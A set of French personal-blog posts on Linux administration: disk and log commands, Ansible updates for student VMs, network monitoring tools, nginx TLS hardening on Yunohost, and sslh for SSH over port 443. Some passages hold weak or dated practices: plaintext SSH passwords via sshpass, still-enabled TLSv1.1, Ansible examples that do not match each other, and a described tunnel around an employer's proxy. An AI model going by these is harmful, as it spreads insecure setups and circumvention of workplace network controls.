Pour finir ce premier billet un peu fourre-tout, je voudrais parler des commandes que j'utilise le plus au quotidien. A l'heure actuelle, quand l'outil de supervision (sous Zabbix) remonte des alertes, je me connecte en SSH sur les machines et voici les commandes que j'utilise le plus :
- ncdu
- ls -lrtu
- tail -f /var/log/le_fichier_de_log_qui_va_bien

ncdu Habitué de la commande du dont je ne me rappelle jamais les options pour avoir uniquement le niveau 1 (réponse du -h —max-depth=1 .), j'ai découvert et depuis je ne m'en passe plus et l'installe sur tous les serveurs la commande ncdu, soit NCurses Disk Usage. Simple, rapide et efficace, on a de suite l'espace disque occupé par un répertoire. Pratique pour de suite savoir quel dossier prend plein de place, et c'est très complémentaire à du, en ajoutant en plus un système de navigation au clavier dans l'arborescence scannée. Indispensable.

ls -lrtu on liste les fichiers et on les trie par date pour de suite avoir en base de liste les derniers fichiers modifiés. Pratique pour savoir quel est le dernier fichier de logs qui vient d'être modifié (c'est le dernier de la liste), voir quel est le propriétaire et la date et heure de dernière écriture.

Pour ensuite faire dessus le classique

tail -f /var/log/le_fichier_de_log_qui_va_bien J'ai dans les projets pour les mois à venir la mise en place d'un système de gestion des logs centralisés mais en attendant, à l'ancienne, je consulte les logs avec un tail -f et éventuellement du |grep motif_qui_va_bien pour filtrer affiner un peu.

Et pour le reste, il y a les commandes que j'évoquais dans mes billets :
- Yunohost - Supervision en ligne de commande
- Yunohost - Supervision du trafic réseau

Chatonkademy – Billet N°2 – Ansible pour les mises à jour

Série de billets sur le projet Chatonkademy

Introduction

Un billet déjà écrit avec quelques commandes Ansible Jouons avec Ansible et Virtualbox, dans celui-ci je donnerai quelques astuces et commandes sur l'usage d'Ansible pour des choses simples. En effet, le projet Chatonkademy contient, entre autre 40 machines virtuelles sous Debian 9 (une par étudiant), que je souhaite gérer facilement. D'où Ansible.

Prérequis

Avoir des machines installées, avec un serveur SSH actif et configuré. L'installation des 40 machines, la configuration par SSH (pour automatiser la création de l'utilisateur, de la machine etc.) fera l'objet d'un billet plus complexe sur Ansible. Car il y a une seule IP publique pour la machine superviseur (sous Proxmox), on part d'un parc de 40 machines déjà installées et configurées à minima. Toutes accessibles en SSH sur un port différent du 22 (avec redirection au niveau de l'hyperviseur).

Connexion SSH par clef publique

Copie de la clef ssh publique de l'utilisateur que j'ai sur ma machine principale (j'ai le même utilisateur sur les machines en face) sur toutes les machines via

#!/bin/bash
sshpass -p 'password' ssh-copy-id genma@chaton01.chatonkademy.com -p 20122
sshpass -p 'password' ssh-copy-id genma@chaton02.chatonkademy.com -p 20222
sshpass -p 'password' ssh-copy-id genma@chaton03.chatonkademy.com -p 20322

Pour pouvoir me connecter en ssh depuis ma machines dans .ssh/config j'ai ajoué

host chaton01.chatonkademy.com
HostName chaton01.chatonkademy.com
Port 20122
host chaton02.chatonkademy.com
HostName chaton02.chatonkademy.com
Port 20222
host chaton03.chatonkademy.com
HostName chaton03.chatonkademy.com
Port 20322
(...)

Ansible les bases

Dans le fichier /etc/ansible/hosts j'ai ajouté

[chatonkademy_std]
chaton01.chatonkademy.com:20122
chaton02.chatonkademy.com:20222
chaton03.chatonkademy.com:20322
(...)

Quelques tests avec un appel de commande pour valider qu'Ansible marche bien

ansible openhackademy -m command -u genma --args "uptime" --one-line
ansible openhackademy -m command -u genma --args "df -h" --one-line

On remplacera le args par une commande simple que l'on veut et on redirigera la sortie standard dans un fichier que l'on analysera par la suite.

Ansible playbook pour mises à jours

Création d'un playbook Ansible pour les mises à jours dans le fichier hosts update_upgrade.yml

---
- hosts: chatonkademy_std
remote_user: genma
become_method: sudo
become_user: root

tasks:
- name: update and upgrade apt packages
apt:
update_cache=yes
state=latest
upgrade=yes

Lancement du playbook

ansible-playbook -i /etc/ansible/hosts update_upgrade.yml -K

Résultat de l'exécution

ansible-playbook -i inventory/production/chatonkademy update_upgrade.yml -K
SUDO password:
[DEPRECATION WARNING]: Instead of sudo/sudo_user, use become/become_user and make sure become_method is 'sudo' (default). This feature will be removed in version 2.6.
Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.

PLAY [chatonkademy] **********************************************************

TASK [Gathering Facts] ******************************************************
ok: [chaton01.chatonkademy.com]
ok: [chaton02.chatonkademy.com]
ok: [chaton03.chatonkademy.com]
ok: [chaton04.chatonkademy.com]

TASK [update and upgrade apt packages] **************************************
[WARNING]: Could not find aptitude. Using apt-get instead.
changed: [chaton04.chatonkademy.com]
changed: [chaton01.chatonkademy.com]
changed: [chaton03.chatonkademy.com]
changed: [chaton02.chatonkademy.com]

PLAY RECAP *****************************************************************
chaton02.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0
chaton03.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0
chaton04.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0

Conclusion

Les machines virtuelles sont utilisables via Ansible pour la maintenance etc. On va pouvoir des choses intéressantes. A suivre dans un projet billet sur le projet Chatonkademy !

Cours sur les serveurs web par Luc Didry

Luc Didry, qui se présent lui-même comme un Administrateur Systèmes, Perliste fou, Debianeux convaincu, Libriste radical, est également connu sous son pseudonyme de Framasky et pour ses activités d' Administrateur systèmes au sein de l'association Framasoft.

Il est (a été ?) également enseignant pour la formation de la Licence Professionnelle Administration de Systèmes, Réseaux et Applications à base de Logiciels Libres (asrall.fr, adresse qui redirige vers le programme de la formation.

Ses cours (avec quelques exercices en bas de page) sont mis à disposition sur son site https://luc.frama.io/cours-asrall/serveurs_web/index.html. Au sommaire :
- Introduction
- Autres élément de configuration
- Les hôtes virtuels & les journaux
- Redirections, contrôles d'accès & chiffrement
- CGI & cache
- Mesures de performance

Des tutoriels sur Apache et Nginx et leurs configurations, j'en ai lu un certain nombre et ce cours est probablement le meilleur que j'ai lu. A la sortie, on a une très bonne référence pour la compréhension des fichiers de configuration d'Apache et Nginx, avec une comparaison entre eux, leurs spécificités et caractéristiques, avec les différentes options et leurs rôles respectifs.

Pour tout comprendre du contenu des fichiers de configuration d'Apache et Nginx, dans le détail, mais de façon claire, précise et pédagogue, je ne peux donc que recommander de lire ce cours. J'ai compilé tout ça dans un document LibreOffice, il y en a pour 70 pages... De quoi s'occuper quelques heures. Et un grand MERCI à Luc aka Framasky pour ce super boulot et sa mise à disposition.

Yunohost – Supervision du trafic réseau

Dans mon billet Yunohost - Supervision en ligne de commande, je parlais de quelques commandes que j'utilise pour faire de la supervision / monitoring de ma machine Yunohost (les commandes étant des commandes génériques d'administration d'un système GNU/Linux). Dans ce billet, je m'attarderai plus sur les commandes liées au réseau que j'utilise.

Ces commandes ont été testée sur Debian dans mon cas, mais devraient marcher sur n'importe quel distribution Linux.

netstat

Outil qui permet de voir les ports et connexions en cours :

$ netstat -puant
$ netstat -lapute

Oui l'ordre des options donne un mot explicite, mais au moins c'est facile à retenir et on a là un bonne combinaison des options de la commande.

Ce type de commande donne un résultat comme

Proto Recv-Q Send-Q Adresse locale Adresse distante Etat PID/Program name
tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN -

Cette commande est intéressante car elle permet de très rapidement voir quels sont les ports ouverts et utilisés et d'alors régler / affiner le paramétrage de son pare-feu / firewall.

Nethogs

Nethogs permet de surveiller par processus, l'usage de la bande passante en temps réel. Par processus ce sont tous les logiciels utilisant le réseau : client SSH, navigateur etc.

Si en lançant la commande

sudo nethogs eth0
creating socket failed while establishing local IP - are you root?

vous avez une erreur, c'est liée au fait que la version packagée dans Debian n'est pas la dernière version et pour ne pas avoir cette erreur, il faut compiler la dernière version. C'est très rapide eFt ça se fait depuis les sources en suivant ce tutoriel par exemple.

Une fois que c'est fait, on peut lancer la commande et on a alors le résultat :

netHogs version 0.8.5
PID USER PROGRAM DEV SENT RECEIVED
11145 genma sshd: genma@pts/0 eth0 0.131 0.064 KB/sec
? root unknown TCP 0.000 0.000 KB/sec
(...)
TOTAL 0.131 0.064 KB/sec

iftop

Iftop est une commande qui est au réseau ce que Htop est au processus. Iftop liste toutes les connexion en IPv4 et IPv6 que la machine fait et indique l'adresse IPv4 ou IPv6 cible avec laquelle le serveur (ici une machine Yunohost) communique. On n'a pas le type de connexion, juste Ip source / Ip Cible et les consommations en bande passante / quantité de données échangées en temps réel.

Si vous voulez par exemple voir le trafic sous forme d'adresses IP, il suffit d'ajouter l'option -n. On peut afficher les différents ports impliqués dans le trafic grâce à l'options -P.

Il y a d'autres options mais ceux sont les deux que j'utilise principalement.

Dans la liste des connexions, je vois par exemple
- ma connexion SSH
- une connexion vers freeplayer.freebox.fr, ce qui correspond au fait que je monte le répertoire partagé de la freebox v6 (fonction NAS)
- ...

J'ai par exemple pu voir avec la commande iftop un certain nombre de connexion établie dans le sens locale vers des serveurs de cache DNS, en IPv4 et IPv6. C'est toujours marrant de voir que le résolveur de DNS locale travaille...

Conclusion

Netstat, Nethogs et Iftop, trois commandes que j'utilise régulièrement et de façon complémentaire. Si vous avez d'autres outils du même type, les commentaires du billet sont ouverts pour recevoir vos conseils et suggestions.

Yunohost, Let’s Encrypt, A+ au SSLLabs

Prérequis pour comprendre cet article Connaitre Let's Encrypt, le principe de SSL/TLS, savoir mettre en place la configuration de Let's Encrypt.

Dans le cadre de l'autohébergement de mon cloud personnel sur Yunohost, j'ai remplacé le certificat autosigné par un certificat Let's Encrypt, pour le domaine principal ainsi que les sous-domaines. Pour ce, j'ai suivi le tutoriel How to : Install Let's Encrypt certificates, pas à pas. Ca marche, le certificat est mis en place et permet d'avoir une connexion sécurisée de qualité.

Toutefois, comme je cherche à avoir la configuration TLS (pour les connexions HTTPS) la meilleure possible, j'ai testé l'adresse de mon nom de domaine (et des sous-domaine associé) sur le site https://www.ssllabs.com/. Par défaut la configuration est bonne et correct mais ne donne qu'une note de B comme résultat.

Ce qui est confirmé avec une extension comme Calomel SSL qui montre que la configuration n'est pas optimum/la plus élevée.

Attention : plus la note est élevée, plus la configuration est stricte et rend incompatible l'accès avec les anciennes versions des navigateurs (d'ordinateur ou d'OS mobile).

N'accédant à ce cloud personnel que par un navigateur récent, Firefox, quelque soit mon appareil (PC ou smartphone), ce n'est pas un soucis et mon but est donc d'obtenir la meilleur note possible.

Par défaut la configuration est bonne mais donne donc un B comme résultat. J'ai donc regardé ce que m'indiquait le résultat du test du SSLLabs, j'ai consulté différents tutoriaux sur comment sécuriser nginx...

J'ai comparé les modifications faites à la configuration nginx conseillée à celle qui est mise en place par défaut par Yunohost, la configuration est bien faite et sécurisée (les algorithmes obsolètes sont désactivés par exemple). J'ai toutefois été un peu plus loin en apportant quelques modifications :
Extrait de la configuration de Nginx /etc/nginx/conf.d/blog.mondomaine.org.conf :

ssl_protocols TLSv1.1 TLSv1.2;
#ssl_ciphers ALL:!aNULL:!eNULL:!LOW:!EXP:!RC4:!3DES:+HIGH:+MEDIUM;
# On réduit les différents algos de chiffrement utilisable
ssl_ciphers 'EECDH+AESGCM:EDH+AESGCM:AES256+EECDH:AES256+EDH';

A comparer avec ce que recommande Aeris par exemple, en configuration extrême :

TLSv1.2 + EECDH + AESGCM + SHA-2 only :P

Ce qu'il manque pour avoir une meilleure note, c'est d'avoir du Diffie Hellman. Il faut générer le fichier pour Diffie Hellman, ce qui se fait via :

sudo mkdir -p /etc/nginx/ssl &&
sudo openssl rand 48 -out /etc/nginx/ssl/ticket.key &&
sudo openssl dhparam -out /etc/nginx/ssl/dhparam4.pem 4096

C'est assez long, ça prend une bonne dizaines de minutes (et est très dépendant de la puissance processeur et la génération de nombres aléatoires...)

Ensuite, dans la configuration de Nginx de chacun des domaines et sous-domaine on modifie le fichier de la façon suivante :

# nano /etc/nginx/conf.d/blog.mondomaine.org.conf

# Uncomment the following directive after DH generation
# > openssl dhparam -out /etc/ssl/private/dh2048.pem -outform PEM -2 2048
# ssl_dhparam /etc/ssl/private/dh2048.pem;
ssl_dhparam /etc/nginx/ssl/dhparam4.pem;

Une fois ces modifications apportées, on valide que la configuration nginx est sans erreur

nginx -t

On redémarre alors nginx via

service nginx restart

Et on peut de nouveau tester la configuration sur le site du SSLLabs. Et normalement on devrait avoir une note supérieure.

Yunohost – Supervision en ligne de commande

Date de dernière mise à jour 07 juillet 2016

Avec Yunohost, je me suis mis sérieusement à l'administration système pour comprendre ce qui se passe sur ma machine et surveiller les accès et connexions etc. J'accède donc à ma machine via SSH (via une clef) en réseau locale ou à distance et dans ce billet, je comptais évoquer quelques-uns des outils et commandes que j'utilise. Le but n'est pas de faire un cours complet, juste un listing / une sorte d'aide mémoire partagé. Si vous même avez des conseils, des outils préférés non listés, n'hésitez pas à commenter.

Je suis susceptible de compléter ce billet au fur et à mesure de ma montée en compétence, d'où la date de mise à jour ci-dessus.

Consommation mémoire et listing des processus

Pour ça j'utilise la commande top dans sa version améliorée, à savoir

Htop

Pour aller plus loin, j'utilise

Glances

donne la consommation mémoire, les processus, l'espace disque...

Je vous renvoie vers Glances - An eye on your system de Nicolargo.

Pour le réseau

Nethogs

qui permet de surveiller par processus, l'usage de la bande passante en temps réel.

Pour voir les ports et connexions en cours,

$ netstat -puant
$ netstat -lapute

Analyses des logs

Pour l'analyse des logs, je fais pour l'instant des

tail -f /var/log/monfichier.log

Pour Fail2ban, je regarde ce qui se passe au niveau des différentes jails via

fail2ban-client status ssh

par exemple

Je commence à utiliser GoAccess - Visual Web Log Analyzer qui permet de voir les logs de façon un peu plus graphique et sympa comme le monte l'image suivante :

SSH derrière un proxy, Sslh

Le proxy du boulot

Actuellement je suis en mission chez un client et derrière un proxy (voir à ce sujet mes différents billets taggués proxy). Les seuls ports ouverts sur ce proxy sont les ports 80 (http) et 443 (https).

Ayant un Raspberry qui tourne chez moi derrière ma Freebox, je peux me connecter dessus en SSH en passant par le port 443. Dans Putty ou Kitty, j'ai défini le proxy, le fait d'utiliser le port 443. J'arrive par SSH sur le port 443 de la Freebox. Sur la Freebox, j'ai défini que le port 443 était redirigé vers le port SSH du Raspberry Pi (22 par défaut). Dans Firefox, il me suffit alors de lui dire d'utiliser le proxy local créé pour que ma connexion Internet se fasse via la Freebox. Pour plus de détail, voir le tutoriel détaillé et complet que l'on trouve ici Contourner un proxy (au boulot…) via SSH et Putty.

Avec Yunohost déjà en place

Or sur ma Freebox, les ports 80 et 443 sont déjà ouverts et redirigés vers les ports correspondant du Raspberry pi sur lequel tourne Yunohost. Il n'y a donc pas de place, le port 443 est déjà utilisé/dédié aux connexions httpS au serveur web de Yunohost

Si je souhaite pouvoir me connecter en SSH sur mon Raspberry depuis la connexion Internet de mon lieu de travail, il faut que je sorte via le port 443... Et donc j'arrive sur le port 443 de la Freebox...

Une solution simple ?

Une solution simple et non technique est donc de passer par la connexion 3G/4G du téléphone (La connexion via le téléphone se fait via un abonnement Freemobile et les différents ports testés en sortie du PC (et en entrée sur la Freebox) ne sont pas bloqués/filtrés. Le téléphone me sert alors de modem). Ainsi je ne suis plus bloqué/filtré par le proxy et j'arrive via un autre port sur le serveur SSH (22 par défaut). Laissant le port 443 pour le https.

Oui mais si je veux quand même utiliser SSH depuis le réseau derrière un proxy ?

Une autre solution plus technique : Sslh

SSLH est un multiplexeur, qui permet de gérer les requêtes venant du port 443 pour rediriger vers les services SSH et SSL, ce qui permet par exemple de creuser un tunnel SSH et outre passer les règles des proxys professionnel ou tout simplement sécuriser sa connexion lors d'accès à des spots wifi public.
- SSLH : HTTPS et SSH sur le même port !
- SSLH : choisir le protocole ssl par défaut en cas de timeout

Dit autrement, on arrive sur la Freebox, via https ou SSH via le port 443. Les connexions sont redirigées par la Freebox sur le Raspberry. Et c'est SSLH qui tourne sur le Raspberry qui lui va déterminer si la connexion est de type https ou SSH et rediriger alors vers le bon service (ngnix ou le serveur SSH). Je n'ai pas encore mis en place ce système, mais ça ne saurait tarder. A suivre donc.